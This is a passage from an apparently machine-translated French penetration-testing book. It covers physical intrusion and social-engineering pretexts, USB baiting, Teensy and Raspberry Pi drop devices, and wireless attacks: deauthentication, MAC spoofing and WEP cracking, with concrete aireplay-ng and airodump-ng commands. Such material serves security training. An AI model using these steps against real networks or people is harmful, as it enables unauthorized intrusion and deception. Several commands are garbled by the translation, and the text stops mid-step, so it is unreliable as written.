attaques qui reposent sur le clic de l'utilisateur sur un
Lien URL pour lancer l'attaque, et cela fonctionne à la fois sur
les réseaux filaires et sans fil.
Accès physique et appareils hostiles
Kali et SEToolkit facilitent également les attaques où l'intrus a
un contact physique direct
accès aux systèmes et au réseau. Cela peut être une attaque
risquée, car l'intrus peut
être repéré par un humain observateur, ou capturé par un
appareil de surveillance. Cependant,
la récompense peut être importante, car l'intrus peut
compromettre des systèmes spécifiques
qui contiennent des données précieuses.
L'accès physique est généralement le résultat direct de
l'ingénierie sociale, en particulier lorsque
l'usurpation d'identité est utilisée. Les emprunts d'identité
courants sont les suivants :
• Une personne qui prétend être du service d'assistance ou du
support informatique, et qui a juste besoin
d'interrompre rapidement la victime en installant une mise à
niveau du système.
• Un vendeur qui passe pour parler à un client, puis s'excuse
pour parler
à quelqu'un d'autre ou aller aux toilettes.
• Un livreur qui dépose un colis. Les attaquants peuvent choisir
d'acheter un
uniforme de livraison en ligne; cependant, puisque la plupart
des gens supposent que n'importe qui
qui est tout de marron vêtu et qui pousse une charrette
remplie de cartons est un
Livreur UPS, les uniformes sont rarement une nécessité pour
l'ingénierie sociale !
• Les gens de métier portant des vêtements de travail, munis
d'un « ordre de travail » qu'ils
ont imprimé, sont généralement autorisés à accéder aux
armoires de câblage et autres
zones, notamment lorsqu'elles prétendent être présentes à la
demande de la
gestionnaire de l'immeuble.

Page 215
Attaques physiques et ingénierie sociale
[ 198 ]
• Habillez-vous d'un costume coûteux, emportez un bloc-notes
et marchez vite—employés
supposera que vous êtes un gestionnaire inconnu. Lors de la
conduite de ce type
de pénétration, nous informons généralement les gens que
nous sommes des auditeurs, et nos
les inspections sont rarement remises en cause.
L'objectif d'un accès physique hostile est de compromettre
rapidement les systèmes sélectionnés ; c'est
généralement accompli en installant une porte dérobée ou un
dispositif similaire sur la cible.
L'une des attaques classiques consiste à placer un CD-ROM, un
DVD ou une clé USB dans un système et à laisser
le système l'installe à l'aide de l'option de lecture automatique ;
cependant, de nombreuses organisations désactivent
lecture automatique sur le réseau.
Les attaquants peuvent également créer des pièges « appâts
empoisonnés », des appareils mobiles contenant des fichiers
avec des noms qui invitent une personne à cliquer sur le fichier
et à examiner son contenu. Certains
les exemples incluent les suivants :
• Clés USB avec des étiquettes telles que Salaires des employés
ou Assurance médicale
Mises à jour.
• Metasploit permet à un attaquant de lier une charge utile,
comme un shell inversé, à un
exécutable tel qu'un économiseur d'écran. L'attaquant peut
créer un économiseur d'écran en utilisant
images d'entreprise accessibles au public et envoyer des CD aux
employés avec le
nouvel économiseur d'écran approuvé . Lorsque l'utilisateur
installe le programme, la porte dérobée est
également installé, et il se connecte à l'attaquant.
• Si vous savez que des employés ont assisté à une conférence
récente, les attaquants
peut se faire passer pour un fournisseur qui était présent et
envoyer une lettre à la cible
insinuant qu'il s'agit d'un suivi de l'exposition du vendeur. Un
message type
sera : "Si vous avez manqué notre démonstration de produit et
notre essai gratuit d'un an,
veuillez consulter le diaporama sur la clé USB jointe en cliquant
sur start.exe".
Une variante intéressante est la clé USB SanDisk U3, ou Smart
Drive. Les clés U3
ont été préinstallés avec un logiciel de tableau de bord qui
autorisait automatiquement les touches à
écrire des fichiers ou des informations de registre directement
sur l'ordinateur hôte lorsqu'il est inséré dans
aider au lancement remboursé des programmes approuvés. L'
outil u3-pwn ( Kali
Linux | Maintien de l'accès | Portes dérobées du système
d'exploitation | u3 - pwn ) supprime l'original
fichier ISO du Sandisk U3 et le remplace par une charge utile
Metasploit hostile,
qui est ensuite codé pour éviter la détection sur le système
cible.
Malheureusement, la prise en charge de ces périphériques USB
diminue et ils restent
vulnérable au même degré de détection que les autres charges
utiles Metasploit.

Page 216
Chapitre 7
[ 199 ]
Une option émergente est l'utilisation de Teensy, un petit
dispositif de circuit intégré qui
s'enregistre en tant que clavier USB lorsqu'il est inséré dans un
système Windows. Cette
lui permet de contourner les systèmes qui désactivent
l'exécution automatique ou qui utilisent un logiciel antivirus
côté client.
Un Teensy peut être acheté en ligne sur Amazon pour environ
20 $ à 25 $.
Le setoolkit génère le code requis par un Teensy pour le
transformer en attaque
vecteur, comme le montre la capture d'écran suivante :
Un Teensy configuré comme un agent hostile est assez
puissant ; pendant les tests d'intrusion
des entreprises clientes, nos testeurs ont démontré cent pour
cent de chances de
pouvoir infecter au moins un système sur chaque réseau testé !
Malheureusement, ces appareils souffrent d'une limitation
importante : ils ne peuvent faire que ce que
ils sont programmés pour le faire, et l'attaquant ou le testeur
de pénétration a une capacité limitée
capitaliser sur toutes les découvertes faites après compromis.
Pour remédier à ce manque à gagner, les attaquants utilisent
désormais des micro-ordinateurs, comme le
Raspberry Pi, comme vecteur d'attaque.
Page 217
Attaques physiques et ingénierie sociale
[ 200 ]
Vecteurs d'attaque Raspberry Pi
Le Raspberry Pi est un micro-ordinateur, il mesure environ 8,5
cm X 5,5 cm
en taille, mais parvient à contenir 512 Mo de RAM, deux ports
USB et un port Ethernet
pris en charge par une puce Broadcom utilisant un processeur
ARM cadencé à 700 MHz
(qui peut être overclocké à 1 GHz). Il n'inclut pas de disque dur,
mais utilise un
Carte SD pour le stockage des données. Comme le montre
l'image suivante, le Raspberry Pi est
environ les deux tiers de la longueur d'un stylo ; il est facile de
se cacher sur un réseau (derrière
postes de travail ou serveurs, placés à l'intérieur d'armoires de
serveurs ou cachés sous le sol
panneaux dans le centre de données).
Pour configurer Raspberry Pi en tant que vecteur d'attaque, les
éléments suivants sont requis :
• Raspberry Pi modèle B ou version plus récente
• Un câble HDMI
• Un câble micro USB et un bloc de charge
• Un câble Ethernet ou un mini adaptateur sans fil
• Une carte SD, classe 10, d'au moins 8 Go
Ensemble, toutes les fournitures sont généralement disponibles
en ligne pour un total de moins de 100 $.
Pour configurer Raspberry, téléchargez la dernière version de
Kali Linux ARM edition,
et extrayez-le de l'archive source. Si vous effectuez la
configuration à partir d'un
bureau, puis téléchargez et extrayez Win32DiskImager
( http://sourceforge.net/
projets/win32diskimager/ ).

Page 218
Chapitre 7
[ 201 ]
À l'aide d'un lecteur de carte, connectez la carte SD à
l'ordinateur Windows et ouvrez
le Win32DiskImager . Sélectionnez la version ARM de Kali, kali-
custom-rpi.img ,
qui a été téléchargé et extrait précédemment, et écrivez-le sur
la carte SD.
Cela prendra un certain temps.
Des instructions distinctes pour flasher la carte SD à partir de
systèmes Mac ou Linux sont
disponible sur le site de Kali.
Insérez la carte SD nouvellement flashée dans le Raspberry Pi et
connectez l'Ethernet
câble ou adaptateur sans fil au poste de travail Windows, le
câble HDMI à un moniteur,
et le câble d'alimentation Micro USB à une alimentation. Une
fois alimenté, il
démarrer directement dans Kali Linux. Le Raspberry repose sur
une alimentation externe, et il n'y a pas de
interrupteur marche/arrêt séparé; Cependant, Kali peut
toujours être arrêté à partir de la ligne de commande.
Une fois Kali installé, assurez-vous qu'il est à jour à l'aide de la
commande apt-get.
Assurez-vous que les clés d'hôte SSH sont modifiées dès que
possible, car tous les Raspberry Pi
les images ont les mêmes clés. Utilisez la commande suivante :
root@kali:~rm /etc/ssh/ssh_host_*
root@kali:~dpkg-reconfigurer openssh-server
root@kali:~ redémarrage du service ssh
Dans le même temps, assurez-vous que le nom d'utilisateur et
le mot de passe par défaut sont modifiés.
L'étape suivante consiste à configurer Raspberry pour se
reconnecter à l'ordinateur de l'attaquant
(à l'aide d'une adresse IP statique ou d'un service d'adressage
DNS dynamique) à un
intervalle en utilisant cron .
Un attaquant doit alors accéder physiquement aux locaux de la
cible et se connecter
Raspberry au réseau. La majorité des réseaux attribuent
automatiquement
périphériques une adresse DHCP et dispose de contrôles limités
contre ce type d'attaque.
Une fois que Raspberry se reconnecte à l'adresse IP de
l'attaquant, l'attaquant peut exécuter
reconnaissance et exploitation des applications contre le
réseau interne de la victime
à partir d'un emplacement distant en utilisant SSH pour
émettre des commandes.
Si un adaptateur sans fil est connecté, tel que EW-7811Un, la
connexion sans fil 150 Mbps
Adaptateur USB 802.11b/g/nNano, l'attaquant peut se
connecter sans fil, ou utiliser le
Pi pour lancer des attaques sans fil ( Chapitre 8 , Exploiter les
communications sans fil ).

Page 219
Attaques physiques et ingénierie sociale
[ 202 ]
Sommaire
L'ingénierie sociale est une méthodologie de piratage de
l'humain — en tirant parti
de la confiance et de l'utilité innées d'une personne pour
attaquer un réseau et ses appareils.
Dans ce chapitre, nous avons examiné comment l'ingénierie
sociale peut être utilisée pour faciliter
attaques conçues pour récolter les informations d'identification
du réseau, activer des logiciels malveillants,
ou aider à lancer d'autres attaques. La plupart des attaques
reposent sur le réseau social
Boîte à outils d'ingénierie ; cependant, Kali a plusieurs autres
applications qui peuvent être
amélioré à l'aide d'une méthodologie d'ingénierie sociale. Nous
avons également examiné comment
l'accès physique, généralement en conjonction avec l'ingénierie
sociale, peut être utilisé
placer des appareils hostiles sur un réseau cible.
Dans le chapitre suivant, nous examinerons comment effectuer
une reconnaissance contre
réseaux sans fil et attaquent les réseaux ouverts ainsi que les
réseaux qui sont
protégé par des schémas de cryptage basés sur WEP, WPA et
WPA2. Nous
examinera également les faiblesses générales des protocoles
sans fil qui les rendent
vulnérables aux attaques par déni de service, ainsi qu'aux
attaques par usurpation d'identité.

Page 220
Exploiter le sans fil
Communication
Avec la domination des appareils mobiles et la nécessité de
fournir un réseau instantané
connectivité, les réseaux sans fil sont devenus le point d'accès
omniprésent au
L'Internet. Malheureusement, la commodité de l'accès sans fil
s'accompagne de
une augmentation des attaques efficaces qui se traduisent par
des vols d'accès et de données ainsi que la
déni de service des ressources du réseau. Kali fournit plusieurs
outils pour configurer et
lancer ces attaques sans fil, permettant aux organisations
d'améliorer la sécurité.
Dans ce chapitre, nous examinerons plusieurs tâches
d'entretien ménager et
attaques, notamment :
• Configuration de Kali pour les attaques sans fil
• Reconnaissance sans fil
• Contournement de l'authentification par adresse MAC
• Compromission du cryptage WEP
• Attaquer WPA et WPA2
• Attaques sans fil et ingénierie sociale : clonage d'un point
d'accès
• Interception des communications : attaques sans fil de
l'homme du milieu
• Attaques sans fil man-in-the-middle
• Attaques par déni de service ( DoS ) contre les
communications sans fil

Page 221
Exploiter les communications sans fil
[ 204 ]
Configuration de Kali pour les attaques sans fil
Kali Linux a été publié avec plusieurs outils pour faciliter le test
du sans fil
réseaux; cependant, ces attaques nécessitent une configuration
étendue pour être pleinement
efficace. De plus, les testeurs doivent acquérir une solide
expérience dans le domaine du sans fil
réseau avant de mettre en œuvre des attaques ou d'auditer un
réseau sans fil.
L'outil le plus important dans les tests de sécurité sans fil est
l'adaptateur sans fil,
qui se connecte au point d'accès sans fil. Il doit supporter les
outils qui sont utilisés,
en particulier la suite d'outils aircrack-ng ; en particulier, le
chipset et les pilotes de la carte
doit posséder la capacité d'injecter des paquets sans fil dans un
flux de communication. Cette
est une exigence pour les attaques qui nécessitent l'injection de
types de paquets spécifiques dans le
flux de trafic entre la cible et la victime. Les paquets injectés
peuvent provoquer un
déni de service, permettant à un attaquant de capturer les
données de prise de contact nécessaires pour cracker
clés de cryptage ou prendre en charge d'autres attaques sans fil.
Le site aircrack-ng ( www.aircrack-ng.org ) contient une liste
d'appareils compatibles connus
adaptateurs sans fil.
Les adaptateurs les plus fiables pouvant être utilisés avec Kali
sont ALFA NETWORK
cartes, en particulier les adaptateurs AWUS036NH , qui
prennent en charge le sans fil 802.11 b, g,
et n protocoles. Les cartes Alfa sont facilement disponibles en
ligne et prendront en charge tous les
les tests et attaques livrés avec Kali.
Reconnaissance sans fil
La première étape pour mener une attaque sans fil consiste à
effectuer une reconnaissance—cela
identifie le point d'accès cible exact et met en évidence les
autres réseaux sans fil
cela pourrait avoir un impact sur les tests.
Si vous utilisez une carte sans fil connectée par USB pour vous
connecter à une machine virtuelle Kali,
assurez-vous que la connexion USB a été déconnectée de l'hôte
système et est connecté à la VM en cliquant sur l'icône de
connexion USB , qui est
indiqué par une flèche dans la capture d'écran suivante :

Page 222
Chapitre 8
[ 205 ]
Ensuite, déterminez quelles interfaces sans fil sont disponibles
en exécutant iwconfig à partir de
la ligne de commande, comme illustré dans la capture d'écran
suivante :
Pour certaines attaques, vous souhaiterez peut-être augmenter
la puissance de sortie de l'adaptateur. Cette
est particulièrement utile si vous êtes colocalisé avec un point
d'accès sans fil légitime, et
vous voulez que les cibles se connectent à un faux point d'accès
sous votre contrôle plutôt que
le point d'accès légitime. Ces points d'accès faux, ou escrocs ,
permettent à un attaquant de
intercepter les données et les afficher ou les modifier si
nécessaire pour soutenir une attaque. Les attaquants vont
copier ou cloner fréquemment un site sans fil légitime, puis
augmenter sa transmission
pouvoir par rapport au site légitime comme moyen d'attirer des
victimes. Augmenter
power, la commande suivante est utilisée :
kali@linux:~# iwconfig wlan0 txpower 30
De nombreuses attaques seront menées à l'aide d' aircrack-ng
et de ses outils associés. Pour commencer, nous
besoin d'être capable d'intercepter ou de surveiller les
transmissions sans fil ; par conséquent, nous devons
régler l'interface de communication Kali avec des capacités sans
fil pour surveiller le mode en utilisant
la commande airmon-ng :
kali@linux:~# airmon-ng start wlan0
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :

Page 223
Exploiter les communications sans fil
[ 206 ]
Notez que la description qui est renvoyée indique qu'il existe
des processus qui
pourrait causer des problèmes . Le moyen le plus efficace de
gérer ces processus est d'utiliser un
commande kill complète comme suit :
root@kali:~# airmon-ng vérifier tuer
Pour afficher l'environnement sans fil local, utilisez la
commande suivante :
root@kali:~# airodump-ng mon0
La commande précédente liste tous les réseaux identifiés qui
peuvent être trouvés dans le
portée de l'adaptateur sans fil à ce moment précis. Il fournit le
BSSID de
les nœuds sans fil sur le réseau tels qu'identifiés par les
adresses MAC, une indication
de la puissance de sortie relative, des informations sur les
paquets de données envoyés, des informations sur la bande
passante
y compris le canal utilisé et les données, les informations sur le
cryptage utilisé et le
ESSID qui fournit le nom du réseau sans fil. Ces informations
sont affichées
dans la capture d'écran suivante ; les ESSID non essentiels ont
été floutés :
La commande airodump parcourt les canaux sans fil disponibles
et
identifie les éléments suivants :
• Le Basic Service Set Identifier ( BSSID ), qui est l'adresse MAC
unique
qui identifie un point d'accès ou un routeur sans fil.

Page 224
Chapitre 8
[ 207 ]
• Le PWR , ou puissance, de chaque réseau. Bien que
airodump-ng soit incorrect
montre que le pouvoir est négatif, c'est un artefact de rapport.
Pour obtenir le
valeurs positives appropriées, accéder à un terminal et
exécuter airdriver-ng décharger
36 , puis exécutez airdriver-ng load 35 .
• CH affiche le canal utilisé pour diffuser.
• ENC montre le cryptage en cours d'utilisation - il est OPN , ou
ouvert, car aucun cryptage n'est en cours
utilisé, ou WEP ou WPA / WPA2 si le cryptage est utilisé.
CIPHER et AUTH
fournir des informations de cryptage supplémentaires.
• L' identifiant d'ensemble de services étendu ( ESSID ) est le
nom commun du
réseau sans fil composé de points d'accès partageant le même
SSID ou nom.
Dans la partie inférieure de la fenêtre du terminal, vous verrez
les stations essayant de
se connecter ou qui sont connectés au réseau sans fil.
Avant de pouvoir interagir avec l'un de ces réseaux cibles
(potentiels), nous devons
confirmez que notre adaptateur sans fil est capable d'injection
de paquets. Pour ce faire, exécutez le
commande suivante à partir d'une invite de shell de terminal :
root@kali:~# aireplay-ng -9 mon0
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante.
Ici, -9 indique un test d'injection.
Kismet
L'un des outils les plus importants pour la reconnaissance sans
fil est Kismet, un 802.11
détecteur sans fil, renifleur et système de détection d'intrusion.
Kismet peut être utilisé pour recueillir les informations
suivantes :
• Nom du réseau sans fil, ESSID
• Canal du réseau sans fil

Page 225
Exploiter les communications sans fil
[ 208 ]
• L'adresse MAC du point d'accès, BSSID
• L'adresse MAC des clients sans fil
Il peut également être utilisé pour renifler les données sans fil
802.11a, 802.11b, 802.11g et 802.11n
circulation. Kismet prend également en charge les plugins qui
lui permettent de renifler d'autres protocoles sans fil.
Pour lancer Kismet, entrez kismet à partir d'une invite de
commande dans une fenêtre de terminal.
Lorsque Kismet sera lancé, vous serez confronté à une série de
questions qui vous permettront
vous devez le configurer pendant le processus de démarrage.
Répondez par Oui à Pouvez-vous voir
couleurs , acceptez que Kismet s'exécute en tant que root , et
sélectionnez Oui pour démarrer le serveur Kismet . Dans
les options de démarrage de Kismet, décochez Afficher la
console car cela masquera l'écran.
Laissez Kismet démarrer.
Vous serez invité à ajouter une interface de capture ;
généralement, wlan0 sera sélectionné.
Kismet commencera alors à renifler les paquets et à collecter
des informations sur tous les
systèmes sans fil situés dans le voisinage physique immédiat.

Page 226
Chapitre 8
[ 209 ]
La sélection d'un réseau en double-cliquant dessus vous
amènera à une vue de réseau qui
fournit des informations supplémentaires sur le réseau sans fil.
Vous pouvez également effectuer une analyse descendante
pour identifier des clients spécifiques qui se connectent aux
différents
réseaux sans fil.
Utilisez Kismet comme outil de reconnaissance initial pour
lancer des attaques spécifiques (telles que
comme données transmises par reniflage) ou pour identifier
des réseaux. Parce qu'il collecte passivement
données de connectivité, c'est un excellent outil pour identifier
les réseaux qui sont cachés,
surtout lorsque le SSID n'est pas transmis publiquement.
Contournement d'un identificateur d'ensemble de services
caché
ESSID est la séquence de caractères qui identifie de manière
unique une zone locale sans fil
réseau. Cacher l'ESSID est une mauvaise méthode pour tenter
d'assurer la sécurité
par l'obscurité ; malheureusement, l'ESSID peut être obtenu
par :
• Renifler l'environnement sans fil et attendre qu'un client
s'associe à un
réseau, puis capturer cette association
• Désauthentification active d'un client pour forcer le client à
s'associer, puis
saisir cette association
Les outils aircrack sont particulièrement bien adaptés pour
capturer les données nécessaires pour révéler
un ESSID masqué, comme indiqué dans les étapes suivantes :
1. À l'invite de commande, confirmez que le sans fil est activé
sur l'attaquant
système en entrant la commande suivante :
root@kali:~# airmon-ng
2. Ensuite, utilisez la commande ifconfig suivante pour
examiner les
interfaces et pour déterminer le nom exact utilisé par votre
système sans fil :
root@kali:~# ifconfig
3. Activez votre interface sans fil en entrant ce qui suit (vous
devrez peut-être
remplacez wlan0 par une interface sans fil disponible identifiée
dans le
étape précédente):
root@kali:~# airmon-ng démarrer wlan0

Page 227
Exploiter les communications sans fil
[ 210 ]
4. Si vous reconfirmez avec ifconfig , vous verrez qu'il y a
maintenant une surveillance
ou mon0 adresse en cours d'utilisation. Maintenant, utilisez
airodump pour confirmer le sans fil disponible
réseaux, comme indiqué dans la commande suivante :
root@kali:~# airodump-ng mon0
Comme vous pouvez le voir, l'ESSID du premier réseau est
identifié uniquement par <length: 9> . Aucun autre
le nom ou la désignation est utilisé. La longueur de l'ESSID
masqué est identifiée comme étant
composé de neuf caractères; cependant, cette valeur peut ne
pas être correcte car l'ESSID
est caché. La vraie longueur ESSID peut en fait être plus courte
ou plus longue que neuf caractères.
Ce qui est important, c'est qu'il puisse y avoir des clients
attachés à ce réseau particulier.
Si des clients sont présents, nous désauthentifierons le client,
l'obligeant à envoyer le
ESSID lorsqu'ils se reconnectent au point d'accès.
Réexécutez airodump et filtrez tout sauf le point d'accès cible.
Dans ce
cas particulier, nous nous concentrerons sur la collecte des
données du réseau caché sur
canal six à l'aide de la commande suivante :
root@kali:~# airodump-ng -c 6 mon0
L'exécution de la commande supprime la sortie des multiples
sources sans fil, et
permet à l'attaquant de se concentrer sur l'ESSID cible, comme
illustré dans la capture d'écran suivante :
Les données que nous obtenons lorsque la commande
airodump est exécutée indiquent qu'il y a
est une station ( 00:0E:2E:CF:8C:7C ) connectée au BSSID
( 00:18:39:D5:5D:61 )
qui est à son tour associé à l'ESSID caché.

Page 228
Chapitre 8
[ 211 ]
Pour capturer l'ESSID tel qu'il est transmis, nous devons créer
une condition dans laquelle
nous savons qu'il sera envoyé—au cours de la phase initiale de
la connexion entre un client
et le point d'accès.
Par conséquent, nous lancerons une attaque de
désauthentification à la fois contre le client et le
point d'accès en envoyant un flux de paquets qui interrompt la
connexion entre eux
et les oblige à se ré-authentifier.
Pour lancer l'attaque, ouvrez un nouveau shell de commande
et entrez la commande comme indiqué
dans la capture d'écran suivante ( 0 indique que nous lançons
une désauthentification
attaque, 10 indique que nous allons envoyer 10 paquets de
désauthentification, -a est la cible
point d'accès, et c est l'adresse MAC du client) :
Une fois tous les paquets de désauthentification envoyés,
revenez à la fenêtre d'origine
qui surveille la connexion réseau sur le canal six, comme illustré
ci-dessous
capture d'écran. Vous verrez maintenant l'ESSID en clair.
Connaître l'ESSID aide un attaquant à confirmer qu'il se
concentre sur le bon
réseau (car la plupart des ESSID sont basés sur l'identité de
l'entreprise) et facilite la
processus de connexion.
Contourner l'adresse MAC
authentification
L' adresse de contrôle d'accès au support ( MAC ) identifie de
manière unique chaque nœud dans un
réseau. Il se présente sous la forme de six paires de chiffres
hexadécimaux (0 à 9 et les lettres
A à F) qui sont séparés par des deux-points ou des tirets et
apparaissent généralement comme ceci :
00:50:56:C0:00:01 .

Page 229
Exploiter les communications sans fil
[ 212 ]
L'adresse MAC est généralement associée à une carte réseau
ou à un périphérique avec
capacité de mise en réseau ; pour cette raison, elle est souvent
appelée l'adresse physique.
Les trois premières paires de chiffres dans l'adresse MAC sont
appelés organisationnelle
Identifiant unique , et ils servent à identifier l'entreprise qui a
fabriqué ou
vendu l'appareil. Les trois dernières paires de chiffres sont
spécifiques à l'appareil et peuvent être
considéré comme un numéro de série .
Parce qu'une adresse MAC est unique, elle peut être utilisée
pour associer un utilisateur à un
réseau, en particulier un réseau sans fil. Cela a deux
implications importantes : cela peut
être utilisé pour identifier un pirate informatique ou un testeur
de réseau légitime qui a tenté d'accéder à un
réseau, et il peut être utilisé comme un moyen d'authentifier
les individus et d'accorder
leur accès à un réseau.
Pendant les tests d'intrusion, le testeur peut préférer
apparaître anonyme sur un réseau.
Une façon de prendre en charge ce profil anonyme est de
changer l'adresse MAC du
système d'attaque.
Cela peut être fait manuellement à l'aide de la commande
ifconfig . Pour déterminer l'existant
adresse MAC, exécutez ce qui suit à partir d'un shell de
commande :
root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 | grep HW
Pour modifier manuellement l'adresse IP, utilisez les
commandes suivantes :
root@kali:~# ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
root@kali:~# ifconfig wlan0 up
Remplacez différentes paires hexadécimales pour les
expressions "xx". Cette commande va
nous permettent de changer l'adresse MAC du système
attaquant en une qui est utilisée est acceptée
par le réseau des victimes. L'attaquant doit s'assurer que
l'adresse MAC n'est pas déjà
en cours d'utilisation sur le réseau, ou l'adresse MAC répétée
peut déclencher une alarme si le
le réseau est surveillé.
L'interface sans fil doit être désactivée avant
changer l'adresse MAC.
Kali permet également l'utilisation d'un outil automatisé,
macchanger . Pour changer l'attaquant
adresse MAC à une adresse MAC d'un produit fabriqué par le
même fournisseur, utilisez le
commande macchanger suivante à partir d'une fenêtre de
terminal :
root@kali:~# macchanger wlan0 -e

230
Chapitre 8
[ 213 ]
Pour changer l'adresse MAC existante en une adresse MAC
complètement aléatoire, utilisez le
commande suivante :
root@kali:~# macchanger wlan0 -r
Certains attaquants utilisent des scripts automatisés pour
modifier fréquemment leurs adresses MAC.
base pendant les tests pour anonymiser leurs activités.
De nombreuses organisations, en particulier les grands groupes
universitaires tels que les collèges et les
universités, utilisez le filtrage d'adresses MAC pour contrôler
qui peut accéder à leur réseau sans fil
ressources du réseau. Le filtrage d'adresse MAC utilise l'adresse
MAC unique sur le
carte réseau pour contrôler l'accès aux ressources du réseau ;
dans une configuration type,
l'organisation maintient une liste blanche des adresses MAC
autorisées
pour accéder au réseau. Si une adresse MAC entrante n'est pas
sur l'accès approuvé
list, il est interdit de se connecter au réseau.
Malheureusement, les informations d'adresse MAC sont
transmises en clair. Un attaquant
peut utiliser airodump pour collecter une liste d'adresses MAC
acceptées, puis manuellement
changer leur adresse MAC en l'une des adresses acceptées par
la cible
réseau. Par conséquent, ce type de filtrage n'offre presque
aucune protection réelle à un
réseau sans fil.
Le prochain niveau de protection du réseau sans fil est fourni à
l'aide du cryptage.
Compromettre un cryptage WEP
Wireless Equivalent Privacy ( WEP ) a vu le jour en 1999
comme un moyen de fournir
un degré de confidentialité aux réseaux sans fil 802.11
comparable à
ce qui était disponible sur un réseau filaire. De multiples
défauts ont été rapidement découverts
dans sa mise en œuvre de la cryptographie, et en 2004, il a été
remplacé par le WiFi
Protocole d' accès protégé ( WPA ).
WEP reste utilisé aujourd'hui, en particulier dans les anciens
réseaux
qui ne peut pas prendre en charge les besoins en ressources du
nouveau sans fil
routeurs. Dans une récente enquête sans fil d'une grande
métropole
centre, près de 25 pour cent des réseaux sans fil cryptés
continué à utiliser WEP. Beaucoup de ces réseaux étaient
associés
avec les sociétés financières.

Page 231
Exploiter les communications sans fil
[ 214 ]
L'un des principaux défauts de WEP a d'abord été identifié dans
la réutilisation de l' initialisation
vecteur ( IV ). WEP repose sur l'algorithme de cryptage RC4, qui
est un flux
chiffrement : la même clé de chiffrement ne peut pas être
répétée. Les IV ont été introduits
se prémunir contre la réutilisation des clés en introduisant un
élément d' aléatoire dans le
données cryptées. Malheureusement, le 24 bits IV est trop
court pour empêcher la répétition ;
de plus, il y a une probabilité de 50 pour cent que le même IV
se répète après
seuls 5 000 paquets ont été transmis.
Un attaquant peut espionner ou intercepter le trafic crypté
WEP. En fonction de la
nombre de paquets interceptés disponibles pour inspection, la
récupération de clé peut se produire rapidement.
En pratique, la plupart des clés WEP peuvent être récupérées,
ou crackées , en trois minutes.
Pour que le craquage WEP fonctionne, vous aurez également
besoin de connaître les informations suivantes
sur la cible :
• Le nom du réseau sans fil ou ESSID
• L'adresse MAC du point d'accès, BSSID
• Le canal sans fil utilisé
• Une adresse MAC du client sans fil
L'attaque la plus courante contre WEP peut être effectuée en
effectuant la
Etapes suivantes:
1. Tout d'abord, identifiez les interfaces réseau sans fil
disponibles à l'aide du
commande suivante :
root@kali:~# airmon-ng
2. Arrêtez l'interface pour remplacer l'adresse MAC par
l'adresse en cours
utilisé par un client existant déjà associé au réseau cible.
Vous pouvez également utiliser macchanger pour cette étape.
Lorsque l'adresse MAC a
été modifié, redémarrez airmon-ng . Utilisez les commandes
suivantes pour effectuer
ces étapes :
root@kali:~# airmon-ng stop
root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 hw ether (adresse mac)
root@kali:~# airmon-ng démarrer wlan0
L'utilisation d'une adresse MAC connue et acceptée simplifie
l'attaque. Cependant,
Ce n'est pas toujours le cas. Cette attaque suppose que vous ne
connaissez pas le
Adresse Mac. Au lieu de cela, nous ferons une fausse
association avec le réseau.

Page 232
Chapitre 8
[ 215 ]
3. Utilisez la commande airodump suivante pour localiser le
réseau sans fil cible :
root@kali:~# airodump-ng wlan0
Lorsque airodump localise la cible, appuyez sur Ctrl + C pour
arrêter la recherche. Copiez le
Adresse MAC dans le BSSID et notez le canal. Lorsque airodump
localise le
cible, appuyez sur Ctrl + C pour arrêter la recherche. Copiez
l'adresse MAC dans le BSSID,
et notez le canal; dans l'exemple illustré dans la capture d'écran
suivante, le
le réseau cible dd_wep fonctionne sur le canal six à une vitesse
de 11 Mo.
4. Démarrez airodump-ng pour renifler le trafic sans fil et
collecter les IV en utilisant les éléments suivants
commande, où --bssid nous permet de sélectionner le BSSID de
la cible, -c indique
le canal, et -w nous permet d'écrire le nom du fichier de sortie
( wep_out ):
root@kali:~# airodump-ng --bssid 00:06:25:9A:A9:C6 -c 6 -w
wep_out wlan0
5. Maintenant, nous devons augmenter le nombre de paquets
IV transmis. Ouvrir un
deuxième fenêtre de terminal (ne fermez pas la première) et
entrez ce qui suit
commande pour simuler une authentification au point d'accès
sans fil ciblé :
root@kali:~# aireplay-ng -1 0 -a 00:06:25:9A:A9:C6 -h
00:11:22:33:44:55 -e dd_wep wlan0
Ici, -1 signale une fausse authentification et 0 est le timing de
réassociation dans
secondes (un réglage de 0 peut alerter le défenseur, donc un
attaquant peut le régler sur
30 ou même plus).
6. Avec la fausse authentification en place, nous générerons du
trafic qui apparaîtra
provenir d'une adresse MAC de confiance et l'acheminer vers la
cible sans fil
point d'accès.
root@kali:~# aireplay-ng -3 -b 00:06:25:9A:A9:C6 -h
00:11:22:33:44:55 wlan0
Cette attaque est connue sous le nom d'injection ARP ou
d'attaque par rejeu ARP. Normalement,
le point d'accès cible rediffusera les paquets ARP et générera
un nouveau
IV à chaque fois ; par conséquent, c'est un moyen rapide de
cultiver les IV nécessaires.

Page 233
Exploiter les communications sans fil
[ 216 ]
L'exécution de la commande précédente est indiquée dans le
capture d'écran suivante :
7. Générons des paquets supplémentaires pendant que
l'injection ARP se poursuit.
Ouvrez une autre fenêtre de terminal et lancez une attaque
interactive par rejeu de paquets
en entrant la commande suivante :
root@kali:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF
- b (adresse mac) -h (adresse mac) wlan0
Ici, -2 indique que nous utilisons une attaque de relecture
interactive, -p 0841
définit le champ Frame Control du paquet pour le faire
apparaître comme s'il était
envoyé depuis un client sans fil, -c FF:FF:FF:FF:FF:FF définit la
destination
(dans ce cas, la notation FF envoie le paquet à tous les hôtes du
réseau),
-b est l'adresse MAC du BSSID, et -h est l'adresse MAC du
paquets transmis qui doivent correspondre à l'adresse MAC du
testeur.
L'exécution de la commande précédente est indiquée dans le
capture d'écran suivante :
8. Une autre technique pour donner l'impression que le réseau
est occupé consiste à ouvrir plusieurs
shells de commande sur le système attaquant et entrez la
commande suivante
en remplaçant ( IP address ) par l' adresse IP de la cible :
root@kali:~# ping -T -L 6500 (adresse IP)

Page 234
Chapitre 8
[ 217 ]
9. Une fois que suffisamment de paquets ont été collectés et
enregistrés, les éléments suivants
La commande aircrack-ng peut être utilisée pour cracker la clé
WEP, où -a 1
force le mode d'attaque à être WEP statique, -b est le BSSID et
dd_wep.cap est
le fichier de capture contenant les IV capturés.
